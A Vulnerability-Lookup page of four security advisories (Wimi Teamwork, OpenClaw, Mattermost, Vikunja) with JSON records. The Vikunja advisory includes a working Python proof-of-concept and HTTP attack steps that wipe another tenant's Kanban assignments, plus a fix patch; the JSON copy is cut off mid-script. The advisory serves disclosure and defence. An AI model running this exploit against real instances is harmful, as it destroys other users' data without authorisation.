Vulnerability-Lookup

GHSA-GG3G-V6XG-6H6P

Vulnerability from github – Published: 2026-04-08 15:31 – Updated: 2026-04-09 18:31

Details

Wimi Teamwork On-Premises versions prior to 8.2.0 contain an insecure direct object reference vulnerability in the preview.php endpoint where the item_id parameter lacks proper authorization checks. Attackers can enumerate sequential item_id values to access and retrieve image previews from other users' private or group conversations, resulting in unauthorized disclosure of sensitive information.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-35023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T14:16:28Z",
    "severity": "MODERATE"
  },
  "details": "Wimi Teamwork On-Premises versions prior to\u00a08.2.0 contain an insecure direct object reference vulnerability in the preview.php endpoint where the item_id parameter lacks proper authorization checks. Attackers can enumerate sequential item_id values to access and retrieve image previews from other users\u0027 private or group conversations, resulting in unauthorized disclosure of sensitive information.",
  "id": "GHSA-gg3g-v6xg-6h6p",
  "modified": "2026-04-09T18:31:26Z",
  "published": "2026-04-08T15:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35023"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wimi-teamwork-on-premises-idor-via-preview-php"
    },
    {
      "type": "WEB",
      "url": "https://www.wimi-teamwork.com/en/product-update"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GG3J-3F24-XWFP

Vulnerability from github – Published: 2026-09-26 03:30 – Updated: 2026-09-26 03:30

Details

OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability in webhook TaskFlow cancellation that allows attackers to cancel unrelated sessions. An attacker with a webhook route secret can supply an arbitrary child session key to cancel ACP or subagent work outside the route's configured authority.

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-100534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T03:16:58Z",
    "severity": "LOW"
  },
  "details": "OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability in webhook TaskFlow cancellation that allows attackers to cancel unrelated sessions. An attacker with a webhook route secret can supply an arbitrary child session key to cancel ACP or subagent work outside the route\u0027s configured authority.",
  "id": "GHSA-gg3j-3f24-xwfp",
  "modified": "2026-09-26T03:30:24Z",
  "published": "2026-09-26T03:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g24w-m94m-59qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100534"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-before-2026.8.1-session-cancellation-authorization-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GG42-MWR6-P82C

Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2026-01-12 18:34

Summary

Mattermost Server has intermittent Authorization bypass for resource-owners

Details

An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5, when used as an OAuth 2.0 service provider. Resource-owner authorization can be intermittently bypassed, allowing account takeover.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0-rc1"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-18894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-12T18:34:33Z",
    "nvd_published_at": "2020-06-19T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5, when used as an OAuth 2.0 service provider. Resource-owner authorization can be intermittently bypassed, allowing account takeover.",
  "id": "GHSA-gg42-mwr6-p82c",
  "modified": "2026-01-12T18:34:33Z",
  "published": "2022-05-24T17:21:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18894"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Server has intermittent Authorization bypass for resource-owners"
}

GHSA-GG93-X632-9CCV

Vulnerability from github – Published: 2026-08-28 16:50 – Updated: 2026-08-28 16:50

Summary

Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key

Details

Summary

A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (task_buckets) and task ordering (task_positions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (view_id, project_id), but the next two cascading deletes on task_buckets and task_positions filter only on the URL-supplied project_view_id. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.

Details

ProjectView.Delete (file: pkg/models/project_view.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:

func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).   // (a) scoped — OK
        Delete(&ProjectView{})
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{})    // (b) UNSCOPED
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})  // (c) UNSCOPED
    return
}

pv.ID and pv.ProjectID come straight from the URL path via c.Bind — see the param tags on the struct (pkg/models/project_view.go, lines 133–137):

type ProjectView struct {
    ID        int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
    ...
    ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
    ...
}

The route is registered with both params in pkg/routes/routes.go, line 791:

a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)

CanDelete (file: pkg/models/project_view_permissions.go, line 38) gates only on Admin of the URL :project:

func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
    if isInstanceAdmin(s, a) {
        return true, nil
    }
    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
    if filterID > 0 { ... }

    pp := pv.getProject()              // = &Project{ID: pv.ProjectID}  (URL path)
    return pp.IsAdmin(s, a)            // only checks admin on URL :project
}

There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND project_id = ? clause) compensates for the project_views table only. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on pv.ID alone.

Why other neighbouring code paths are not vulnerable, for context:

Bucket.canDoBucket (pkg/models/kanban_permissions.go, line 46) loads the bucket from the DB and re-couples the URL project via GetProjectViewByIDAndProject(viewID, projectID), which WHERE id = ? AND project_id = ? — mismatched URL :project returns an error. Safe.
ProjectView.Update (pkg/models/project_view.go, line 412) calls the same GetProjectViewByIDAndProject before applying the update. Safe.
Project.UpdateProject cascades use s.In("project_view_id", viewIDs).Delete(&Bucket{}) (pkg/models/project.go, line 1396) where viewIDs is loaded from the DB inside an authorised project-delete context. Safe.

The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.

PoC

Prerequisites

An authenticated account on the target Vikunja instance. No special role is required — local-auth registration is enough; the attacker becomes Admin of any project they create via the OwnerID field set in CreateProject (pkg/models/project.go, line 1021).
Knowledge of any victim view ID. View IDs are auto-increment integers (autoincr on the id column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via GET /api/v1/projects/:project/views.

Attack Steps

# As the attacker, with valid JWT:
PUT /api/v1/projects                     -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V      -> V is ANY view ID in the instance

The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in P_A. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe task_buckets and task_positions for view V.

The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:3456
"""

import requests
import sys

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:3456")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"

VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"

BANNER = """
=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)


# ---- Helpers ----

def register(username, password):
    requests.post(f"{API}/register", json={
        "username": username,
        "email":    f"{username}@poc.local",
        "password": password,
    })  # ignore 400 if user already exists

def login(username, password):
    r = requests.post(f"{API}/login", json={
        "username": username, "password": password,
    })
    r.raise_for_status()
    return r.json()["token"]

def auth(token):
    return {"Authorization": f"Bearer {token}",
            "Content-Type":  "application/json"}


# ---- Victim setup: project + kanban view + tasks + bucket assignments ----

print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)

# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
                    headers=auth(vt),
                    json={"title": "Victim Project"}).json()
victim_pid = proj["id"]

# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
                     headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid  = kanban_view["id"]

# Drop a few tasks into the project — Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
    t = requests.put(f"{API}/projects/{victim_pid}/tasks",
                     headers=auth(vt),
                     json={"title": f"Victim task {i}"}).json()
    task_ids.append(t["id"])

# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
)

# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view={victim_vid}, "
      f"tasks_in_buckets BEFORE = {total_tasks_before}")
assert total_tasks_before > 0, "PoC requires at least 1 task in the kanban"


# ---- Attacker setup: a throwaway project owned by the attacker ----

print("\n[*] Setting up ATTACKER (any user can do this)")
register(ATTACKER_USER, ATTACKER_PASS)
at = login(ATTACKER_USER, ATTACKER_PASS)

p_a = requests.put(f"{API}/projects",
                   headers=auth(at),
                   json={"title": "Attacker Throwaway"}).json()
attacker_pid = p_a["id"]
print(f"[*] Attacker project = {attacker_pid} "
      f"(attacker is Admin via OwnerID)")


# ---- ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: trainer-equivalent — wipe victim's kanban via own project")
print(f"{'='*65}")

resp = requests.delete(
    f"{API}/projects/{attacker_pid}/views/{victim_vid}",
    headers=auth(at),
)
print(f"\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f"  (Logged in as: {ATTACKER_USER}, "
      f"who is NOT a member of victim project {victim_pid})")
print(f"  Response: HTTP {resp.status_code}  body={resp.text!r}")


# ---- VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

# View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
                           headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)

# But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)

print(f"\n  View {victim_vid} still exists?           {view_still_there}")
print(f"  Tasks in buckets BEFORE attack:           {total_tasks_before}")
print(f"  Tasks in buckets AFTER attack:            {total_tasks_after}")

if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
    print("""
  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+
""")
else:
    print("\n  Attack did not land — patched build or unexpected state.")

Proof of Concept Output

=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3

[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)

=================================================================
  ATTACK: trainer-equivalent — wipe victim's kanban via own project
=================================================================

  DELETE /api/v1/projects/43/views/87
  (Logged in as: attacker_poc, who is NOT a member of victim project 42)
  Response: HTTP 200  body='{"message":"Successfully deleted."}'

=================================================================
  VERIFICATION
=================================================================

  View 87 still exists?           True
  Tasks in buckets BEFORE attack:           3
  Tasks in buckets AFTER attack:            0

  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+

Impact

Cross-tenant data destruction. Any authenticated user — local-auth registration is enough on default deployments — can wipe the task_buckets and task_positions rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.
Permanent loss without backup. Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or task_buckets / task_positions tables) from backup.
Trivial discovery. View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating 1..N, calling DELETE /api/v1/projects/<own-project>/views/<i> for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were "real" without watching for victim complaints.
Multi-tenant SaaS impact. On hosted Vikunja deployments (e.g. try.vikunja.io-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.

Fix

Either gate the cascading deletes on whether the scoped first delete matched, or re-couple (view_id, project_id) inside the cascading queries.

Minimal patch — pkg/models/project_view.go, inside Delete():

func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    affected, err := s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
        Delete(&ProjectView{})
    if err != nil {
        return
    }
    if affected == 0 {
        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
        // Either way, do not cascade — return an error so the API responds 404.
        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
    }

    if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
        return
    }
    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
    return
}

This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence — mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.6"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:50:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA user with only a single self-owned project can permanently destroy the Kanban bucket assignments (`task_buckets`) and task ordering (`task_positions`) of **any other project view in the entire instance**. The `ProjectView.Delete` model method runs three SQL statements: the first is properly scoped to `(view_id, project_id)`, but the next two cascading deletes on `task_buckets` and `task_positions` filter only on the URL-supplied `project_view_id`. The permission check (`CanDelete`) gates on Admin of the URL `:project` but never confirms that the URL `:view` actually belongs to that project.\n\n### Details\n\n`ProjectView.Delete` (file: `pkg/models/project_view.go`, line 250) cascades on the bare `pv.ID` for the second and third deletes, ignoring `pv.ProjectID`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).   // (a) scoped \u2014 OK\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{})    // (b) UNSCOPED\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})  // (c) UNSCOPED\n    return\n}\n```\n\n`pv.ID` and `pv.ProjectID` come straight from the URL path via `c.Bind` \u2014 see the param tags on the struct (`pkg/models/project_view.go`, lines 133\u2013137):\n\n```go\ntype ProjectView struct {\n    ID        int64 `xorm:\"autoincr not null unique pk\" json:\"id\" param:\"view\"`\n    ...\n    ProjectID int64 `xorm:\"not null index\" json:\"project_id\" param:\"project\"`\n    ...\n}\n```\n\nThe route is registered with both params in `pkg/routes/routes.go`, line 791:\n\n```go\na.DELETE(\"/projects/:project/views/:view\", projectViewProvider.DeleteWeb)\n```\n\n`CanDelete` (file: `pkg/models/project_view_permissions.go`, line 38) gates only on Admin of the URL `:project`:\n\n```go\nfunc (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n    if isInstanceAdmin(s, a) {\n        return true, nil\n    }\n    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)\n    if filterID \u003e 0 { ... }\n\n    pp := pv.getProject()              // = \u0026Project{ID: pv.ProjectID}  (URL path)\n    return pp.IsAdmin(s, a)            // only checks admin on URL :project\n}\n```\n\nThere is **no check** that the view (`pv.ID`) actually belongs to that project. The first SQL inside `Delete` (the `WHERE id = ? AND project_id = ?` clause) compensates *for the `project_views` table only*. xorm silently returns 0 affected rows on a mismatch \u2014 no error \u2014 and the function continues. The next two statements then run unconditionally on `pv.ID` alone.\n\nWhy other neighbouring code paths are not vulnerable, for context:\n\n- `Bucket.canDoBucket` (`pkg/models/kanban_permissions.go`, line 46) loads the bucket from the DB and re-couples the URL project via `GetProjectViewByIDAndProject(viewID, projectID)`, which `WHERE id = ? AND project_id = ?` \u2014 mismatched URL `:project` returns an error. Safe.\n- `ProjectView.Update` (`pkg/models/project_view.go`, line 412) calls the same `GetProjectViewByIDAndProject` *before* applying the update. Safe.\n- `Project.UpdateProject` cascades use `s.In(\"project_view_id\", viewIDs).Delete(\u0026Bucket{})` (`pkg/models/project.go`, line 1396) where `viewIDs` is loaded from the DB inside an authorised project-delete context. Safe.\n\nThe same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.\n\n### PoC\n\n#### Prerequisites\n\n- An authenticated account on the target Vikunja instance. **No special role is required** \u2014 local-auth registration is enough; the attacker becomes Admin of any project they create via the `OwnerID` field set in `CreateProject` (`pkg/models/project.go`, line 1021).\n- Knowledge of any victim view ID. View IDs are auto-increment integers (`autoincr` on the `id` column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via `GET /api/v1/projects/:project/views`.\n\n#### Attack Steps\n\n```\n# As the attacker, with valid JWT:\nPUT /api/v1/projects                     -\u003e create throwaway project (ID = P_A)\nDELETE /api/v1/projects/P_A/views/V      -\u003e V is ANY view ID in the instance\n```\n\nThe server returns **HTTP 200** `{\"message\":\"Successfully deleted.\"}` even when `V` is not in `P_A`. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe `task_buckets` and `task_positions` for view `V`.\n\nThe view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete\nTarget: Vikunja\nSeverity: HIGH - CVSS 8.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:3456\n\"\"\"\n\nimport requests\nimport sys\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:3456\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v1\"\n\nVICTIM_USER = \"victim_poc\"\nVICTIM_PASS = \"VictimPocPassword!2025\"\nATTACKER_USER = \"attacker_poc\"\nATTACKER_PASS = \"AttackerPocPassword!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helpers ----\n\ndef register(username, password):\n    requests.post(f\"{API}/register\", json={\n        \"username\": username,\n        \"email\":    f\"{username}@poc.local\",\n        \"password\": password,\n    })  # ignore 400 if user already exists\n\ndef login(username, password):\n    r = requests.post(f\"{API}/login\", json={\n        \"username\": username, \"password\": password,\n    })\n    r.raise_for_status()\n    return r.json()[\"token\"]\n\ndef auth(token):\n    return {\"Authorization\": f\"Bearer {token}\",\n            \"Content-Type\":  \"application/json\"}\n\n\n# ---- Victim setup: project + kanban view + tasks + bucket assignments ----\n\nprint(\"[*] Setting up VICTIM (target)\")\nregister(VICTIM_USER, VICTIM_PASS)\nvt = login(VICTIM_USER, VICTIM_PASS)\n\n# Create a project (kanban view + default buckets are created automatically).\nproj = requests.put(f\"{API}/projects\",\n                    headers=auth(vt),\n                    json={\"title\": \"Victim Project\"}).json()\nvictim_pid = proj[\"id\"]\n\n# Find the auto-created kanban view.\nviews = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                     headers=auth(vt)).json()\nkanban_view = next(v for v in views if v[\"view_kind\"] == \"kanban\")\nvictim_vid  = kanban_view[\"id\"]\n\n# Drop a few tasks into the project \u2014 Vikunja will auto-place them in the\n# default bucket of the kanban view, populating `task_buckets`.\ntask_ids = []\nfor i in range(3):\n    t = requests.put(f\"{API}/projects/{victim_pid}/tasks\",\n                     headers=auth(vt),\n                     json={\"title\": f\"Victim task {i}\"}).json()\n    task_ids.append(t[\"id\"])\n\n# Touching the view via the bucket endpoint forces task_position rows to\n# materialise. Read the buckets-with-tasks endpoint once.\nrequests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n)\n\n# Confirm the kanban state has populated buckets+tasks.\nbuckets = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_before = sum(len(b.get(\"tasks\") or []) for b in buckets)\nprint(f\"[*] Victim project={victim_pid}, view={victim_vid}, \"\n      f\"tasks_in_buckets BEFORE = {total_tasks_before}\")\nassert total_tasks_before \u003e 0, \"PoC requires at least 1 task in the kanban\"\n\n\n# ---- Attacker setup: a throwaway project owned by the attacker ----\n\nprint(\"\\n[*] Setting up ATTACKER (any user can do this)\")\nregister(ATTACKER_USER, ATTACKER_PASS)\nat = login(ATTACKER_USER, ATTACKER_PASS)\n\np_a = requests.put(f\"{API}/projects\",\n                   headers=auth(at),\n                   json={\"title\": \"Attacker Throwaway\"}).json()\nattacker_pid = p_a[\"id\"]\nprint(f\"[*] Attacker project = {attacker_pid} \"\n      f\"(attacker is Admin via OwnerID)\")\n\n\n# ---- ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\")\nprint(f\"{\u0027=\u0027*65}\")\n\nresp = requests.delete(\n    f\"{API}/projects/{attacker_pid}/views/{victim_vid}\",\n    headers=auth(at),\n)\nprint(f\"\\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}\")\nprint(f\"  (Logged in as: {ATTACKER_USER}, \"\n      f\"who is NOT a member of victim project {victim_pid})\")\nprint(f\"  Response: HTTP {resp.status_code}  body={resp.text!r}\")\n\n\n# ---- VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\n# View must still exist (the scoped first delete didn\u0027t match).\nviews_after = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                           headers=auth(vt)).json()\nview_still_there = any(v[\"id\"] == victim_vid for v in views_after)\n\n# But the buckets-with-tasks should now be empty (task_buckets wiped).\nbuckets_after = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_after = sum(len(b.get(\"tasks\") or []) for b in buckets_after)\n\nprint(f\"\\n  View {victim_vid} still exists?           {view_still_there}\")\nprint(f\"  Tasks in buckets BEFORE attack:           {total_tasks_before}\")\nprint(f\"  Tasks in buckets AFTER attack:            {total_tasks_after}\")\n\nif view_still_there and total_tasks_after == 0 and total_tasks_before \u003e 0:\n    print(\"\"\"\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user\u0027s kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the 